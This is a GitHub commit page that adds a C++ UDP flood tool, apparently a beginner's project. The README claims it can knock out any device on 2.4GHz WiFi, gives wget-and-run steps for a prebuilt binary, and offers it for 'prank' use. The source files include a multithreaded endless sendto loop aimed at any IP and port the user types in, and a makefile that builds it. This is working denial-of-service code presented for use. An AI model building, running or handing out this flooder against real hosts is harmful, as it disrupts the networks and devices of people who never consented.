Skip to content
This repository was archived by the owner on May 10, 2025. It is now read-only.

Commit b4e857c

Browse files
author
Phapoom Saksri
authored
Add files via upload
1 parent d178553 commit b4e857c

File tree

9 files changed

+689
-1
lines changed

9 files changed

+689
-1
lines changed

README.md

Lines changed: 73 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,73 @@
1-
# UDP-Packets-Overload
1+
# UDP-Flood-with-cpp
2+
UDP Flood attack created with C++ (Confirm can down any device are using 2.4GHz Wifi!)
3+
# Overview
4+
![overview1](https://media.discordapp.net/attachments/879939876181647380/923840786670419988/unknown.png?width=790&height=460)
5+
![overview2](https://media.discordapp.net/attachments/879939876181647380/923840530666889236/unknown.png?width=790&height=460)
6+
# How did work?
7+
UDP Flood will sending MANY OF MANY emoji + unicode to target server!
8+
# Terms of Services
9+
* Using for prank, test only!
10+
# Why created this project?
11+
This just a learn C++ level 2 for me and i gonna making new program from this!
12+
# How to install
13+
* For Linux (x64 only read more in ever testing model.)
14+
Please Download from release first or follow this!
15+
* (linux) download with wget
16+
```
17+
wget https://github.com/PC1266/UDP-Flood-with-cpp/releases/download/1.0/udpflood
18+
chmod +x udpflood
19+
./udpflood
20+
```
21+
Output
22+
```
23+
pc1266  pc1266-dynabook-Satellite-L40-213Y-HD  ~  Desktop  Devloping  C++  $  wget https://github.com/PC1266/UDP-Flood-with-cpp/releases/download/1.0/udpflood
24+
--2021-12-24 14:44:36-- https://github.com/PC1266/UDP-Flood-with-cpp/releases/download/1.0/udpflood
25+
Resolving github.com (github.com)... 20.205.243.166
26+
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
27+
HTTP request sent, awaiting response... 302 Found
28+
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/441377059/60efe498-f974-485d-8a26-eb60aa6c013b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211224%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20211224T074437Z&X-Amz-Expires=300&X-Amz-Signature=eef1402417707c47b2de9f94d23a72fe8c0602a9ec3a703796183707696eaac4&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=441377059&response-content-disposition=attachment%3B%20filename%3Dudpflood&response-content-type=application%2Foctet-stream [following]
29+
--2021-12-24 14:44:37-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/441377059/60efe498-f974-485d-8a26-eb60aa6c013b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211224%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20211224T074437Z&X-Amz-Expires=300&X-Amz-Signature=eef1402417707c47b2de9f94d23a72fe8c0602a9ec3a703796183707696eaac4&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=441377059&response-content-disposition=attachment%3B%20filename%3Dudpflood&response-content-type=application%2Foctet-stream
30+
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
31+
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
32+
HTTP request sent, awaiting response... 200 OK
33+
Length: 203464 (199K) [application/octet-stream]
34+
Saving to: ‘udpflood’
35+
36+
udpflood 100%[====================================================>] 198.70K --.-KB/s in 0.07s
37+
38+
2021-12-24 14:44:38 (2.92 MB/s) - ‘udpflood’ saved [203464/203464]
39+
40+
pc1266  pc1266-dynabook-Satellite-L40-213Y-HD  ~  Desktop  Devloping  C++  $  chmod +x udpflood
41+
pc1266  pc1266-dynabook-Satellite-L40-213Y-HD  ~  Desktop  Devloping  C++  $  ./udpflood
42+
UDP ATTACK BY C++ (First C++ project of PC1266)
43+
If something is error please contect in issues of github.
44+
IP Address:
45+
```
46+
* (linux) download from website without wget
47+
```
48+
chmod +x udpflood
49+
./udpflood
50+
```
51+
output
52+
```
53+
pc1266  pc1266-dynabook-Satellite-L40-213Y-HD  ~  Desktop  Devloping  C++  $  chmod +x udpflood
54+
pc1266  pc1266-dynabook-Satellite-L40-213Y-HD  ~  Desktop  Devloping  C++  $  ./udpflood
55+
UDP ATTACK BY C++ (First C++ project of PC1266)
56+
If something is error please contect in issues of github.
57+
IP Address:
58+
```
59+
* For Windows
60+
If windows 10 or later using WSL ubuntu for run!
61+
* For Windows 8.1 or older
62+
Using Virutal Machine to run!
63+
* For other OS, arm
64+
clone this project by git clone and run or build from C++ IDE (have many tips in youtube)
65+
# What operating system are working?
66+
| Operating system | CPU | Result |
67+
| ------------- | ------------- | ------------- |
68+
| Linux (Ubuntu)| Intel x64 | working |
69+
| Windows (WSL) | - | soon |
70+
| Android (termux) | arm64 | Exec format error |
71+
| Android (IDE) | arm64 | working |
72+
* Notice more list will show in soon!
73+

main.cpp

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
#include <sys/types.h>
2+
#include <unistd.h>
3+
#include <sys/socket.h>
4+
#include <netinet/in.h>
5+
#include <arpa/inet.h>
6+
#include <netdb.h>
7+
#include <memory.h>
8+
#include <ifaddrs.h>
9+
#include <net/if.h>
10+
#include <errno.h>
11+
#include <stdlib.h>
12+
#include <iostream>
13+
#include <cstdlib>
14+
#include <ctime>
15+
#include <linux/version.h>
16+
#include <sys/utsname.h>
17+
#include <limits>
18+
#include <thread>
19+
#include "module/linux.cpp"
20+
#include "module/sentpacket.cpp"
21+
22+
using namespace std;
23+
24+
const std::string compilation_date = __DATE__;
25+
const std::string compilation_time = __TIME__;
26+
std::string ip;
27+
std::uint16_t port;
28+
std::uint8_t threads;
29+
std::uint8_t kb;
30+
std::string msg("");
31+
void task1()
32+
{
33+
// Import sendpacket.cpp //
34+
attackudp attack;
35+
attack.send(ip, port, msg);
36+
}
37+
int main() {
38+
39+
// Import linux.cpp //
40+
linux_kernel kernelinfo;
41+
42+
printf("=== Linux Kernel Information ===\n");
43+
kernelinfo.kernelos();
44+
kernelinfo.kernelarch();
45+
kernelinfo.kernelversion();
46+
printf("=== END ===\n");
47+
cout << "THIS PROGRAM IS BUILD IN DATE: " << compilation_date << " " << compilation_time << endl;
48+
cout << "UDP Packet Generators by randomladyboyguy\n";
49+
cout << "Orinigal Fork: fusedevgithub (Discontinued)\n";
50+
cout << "If something is wrong please report the issues to github.\n";
51+
cout << "IP Address: ";
52+
cin >> ip;
53+
cout << "Port: ";
54+
cin >> port;
55+
cout << "Target is: IP: " << ip << " Port: " << port << endl;
56+
cout << "WARNING: THIS ATTACKING IS MADE BY YOU! PLEASE DO THIS WITH YOUR OWN RISK!\nIF YOU NEED CANCEL THIS PLEASE PRESS CTRL+C FOR CLOSE THIS PROGRAM.\n";
57+
cout << "Threads: ";
58+
cin >> threads;
59+
cout << "KB (Recommends: 512): ";
60+
cin >> kb;
61+
cin >> kb;
62+
cout << "Press Enter to Continue";
63+
cin.ignore(std::numeric_limits<streamsize>::max(),'\n');
64+
cout << "\nGenerating KB (Size)....\n";
65+
66+
for (int i; i < 1024 * kb; i++){
67+
msg = msg + "x";
68+
}
69+
cout << "Creating task...\n";
70+
71+
std::vector<std::thread> t;
72+
for(int i=0; i < threads; i ++){
73+
std::thread th = std::thread([](){ task1(); });
74+
t.push_back(std::move(th));
75+
std::cout<<"Thread started"<<std::endl;
76+
}
77+
78+
for(auto& th : t){
79+
th.join();
80+
}
81+
}

make.sh

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/bin/bash
2+
3+
if [[ -f "main.cpp" ]]
4+
then
5+
echo "OK!"
6+
exit
7+
fi
8+
echo "NO"
9+
echo "File not found! exit...."
10+
killall make

make2.sh

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/bin/bash
2+
3+
if [[ -f "module/linux.cpp" ]]
4+
then
5+
echo "OK!"
6+
exit
7+
fi
8+
echo "NO"
9+
echo "File not found! exit...."
10+
killall make

make3.sh

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/bin/bash
2+
3+
if [[ -f "module/sentpacket.cpp" ]]
4+
then
5+
echo "OK!"
6+
exit
7+
fi
8+
echo "NO"
9+
echo "File not found! exit...."
10+
killall make

makefile

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
main:
2+
@echo -n "checking file main.cpp: "
3+
@bash make.sh
4+
@echo -n "checking file module/linux.cpp: "
5+
@bash make2.sh
6+
@echo -n "checking file module/sendpacket.cpp: "
7+
@bash make3.sh
8+
@echo "Building Program for x86_64, AARCH64 (default): "
9+
@echo "Building for X86_64 please wait...."
10+
@g++ main.cpp module/linux.cpp module/sentpacket.cpp -o "udpflood-x86_64"
11+
@echo "Building for aarch64 please wait...."
12+
@g++ main.cpp module/linux.cpp module/sentpacket.cpp -o "udpflood-aarch64"
13+
@echo "Add permission for udpflood"
14+
@chmod 777 udpflood-x86_64
15+
@chmod 777 udpflood-aarch64
16+
@echo "Building been successfully!"
17+
x86_64:
18+
@echo -n "checking file main.cpp: "
19+
@bash make.sh
20+
@echo -n "checking file module/linux.cpp: "
21+
@bash make2.sh
22+
@echo -n "checking file module/sendpacket.cpp: "
23+
@bash make3.sh
24+
@echo "Building Program for x86_64, AARCH64 (default): "
25+
@echo "Building for X86_64 please wait...."
26+
@g++ main.cpp module/linux.cpp module/sentpacket.cpp -o "udpflood-x86_64"
27+
@echo "Building for aarch64 please wait...."
28+
@g++ main.cpp module/linux.cpp module/sentpacket.cpp -o "udpflood-aarch64"
29+
@echo "Add permission for udpflood"
30+
@chmod 777 udpflood-x86_64
31+
@chmod 777 udpflood-aarch64
32+
@echo "Building been successfully!"
33+
aarch64:
34+
@echo -n "checking file main.cpp: "
35+
@bash make.sh
36+
@echo -n "checking file module/linux.cpp: "
37+
@bash make2.sh
38+
@echo -n "checking file module/sendpacket.cpp: "
39+
@bash make3.sh
40+
@echo "Building Program for x86_64, AARCH64 (default): "
41+
@echo "Building for X86_64 please wait...."
42+
@g++ main.cpp module/linux.cpp module/sentpacket.cpp -o "udpflood-x86_64"
43+
@echo "Building for aarch64 please wait...."
44+
@g++ main.cpp module/linux.cpp module/sentpacket.cpp -o "udpflood-aarch64"
45+
@echo "Add permission for udpflood"
46+
@chmod 777 udpflood-x86_64
47+
@chmod 777 udpflood-aarch64
48+
@echo "Building been successfully!"

module/linux.cpp

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
#include <stdio.h>
2+
#include </usr/include/pstreams/pstream.h>
3+
#include <linux/version.h>
4+
#include <sys/utsname.h>
5+
#include <iostream>
6+
// Cross Build is shit, that why pstreams path is full //
7+
8+
/*
9+
Checking Linux Kernel information
10+
Thanks code from ryanwoodsmall
11+
Modify by: randomladyboyguy (me)
12+
*/
13+
class linux_kernel{
14+
public:
15+
void kernelversion(){
16+
int maj = LINUX_VERSION_CODE >> 16;
17+
int min = ( LINUX_VERSION_CODE - ( maj << 16 ) ) >> 8;
18+
int pat = LINUX_VERSION_CODE - ( maj << 16 ) - ( min << 8 );
19+
struct utsname unamedata;
20+
21+
22+
uname(&unamedata);
23+
printf("Kernel Version: %s\n", unamedata.release);
24+
25+
}
26+
void kernelarch(){
27+
// Get data from uname for ez //
28+
redi::ipstream proc("uname -m", redi::pstreams::pstdout | redi::pstreams::pstderr);
29+
std::string line;
30+
// read child's stdout
31+
while (std::getline(proc.out(), line))
32+
std::cout << "Kernel Architecture: " << line << '\n';
33+
// if reading stdout stopped at EOF then reset the state:
34+
if (proc.eof() && proc.fail())
35+
proc.clear();
36+
// read child's stderr
37+
while (std::getline(proc.err(), line))
38+
std::cout << "Kernel Architecture: " << line << '\n';
39+
}
40+
void kernelos(){
41+
// Get data from uname for ez //
42+
redi::ipstream proc("uname -o", redi::pstreams::pstdout | redi::pstreams::pstderr);
43+
std::string line;
44+
// read child's stdout
45+
while (std::getline(proc.out(), line))
46+
std::cout << "Platform: " << line << '\n';
47+
// if reading stdout stopped at EOF then reset the state:
48+
if (proc.eof() && proc.fail())
49+
proc.clear();
50+
// read child's stderr
51+
while (std::getline(proc.err(), line))
52+
std::cout << "Platform: " << line << '\n';
53+
}
54+
};

module/sentpacket.cpp

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#include <sys/types.h>
2+
#include <unistd.h>
3+
#include <sys/socket.h>
4+
#include <netinet/in.h>
5+
#include <arpa/inet.h>
6+
#include <netdb.h>
7+
#include <memory.h>
8+
#include <ifaddrs.h>
9+
#include <net/if.h>
10+
#include <errno.h>
11+
#include <stdlib.h>
12+
#include <iostream>
13+
#include <cstdlib>
14+
#include <ctime>
15+
16+
class attackudp{
17+
public:
18+
void send(std::string ip, std::uint16_t port, std::string msg){
19+
int sock = ::socket(AF_INET, SOCK_DGRAM, 0);
20+
21+
sockaddr_in destination;
22+
destination.sin_family = AF_INET;
23+
destination.sin_port = htons(port);
24+
destination.sin_addr.s_addr = inet_addr(ip.c_str());
25+
loop:
26+
int n_bytes = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
27+
std::cout << n_bytes << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
28+
int n_bytes2 = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
29+
std::cout << n_bytes2 << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
30+
int n_bytes3 = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
31+
std::cout << n_bytes3 << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
32+
int n_bytes4 = ::sendto(sock, msg.c_str(), msg.length(), 0, reinterpret_cast<sockaddr*>(&destination), sizeof(destination));
33+
std::cout << n_bytes4 << " bytes sent" << " to " << "IP: " << ip << " Port: " << port << std::endl;
34+
35+
goto loop;
36+
}
37+
};

oldmain.cpp

Lines changed: 366 additions & 0 deletions
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)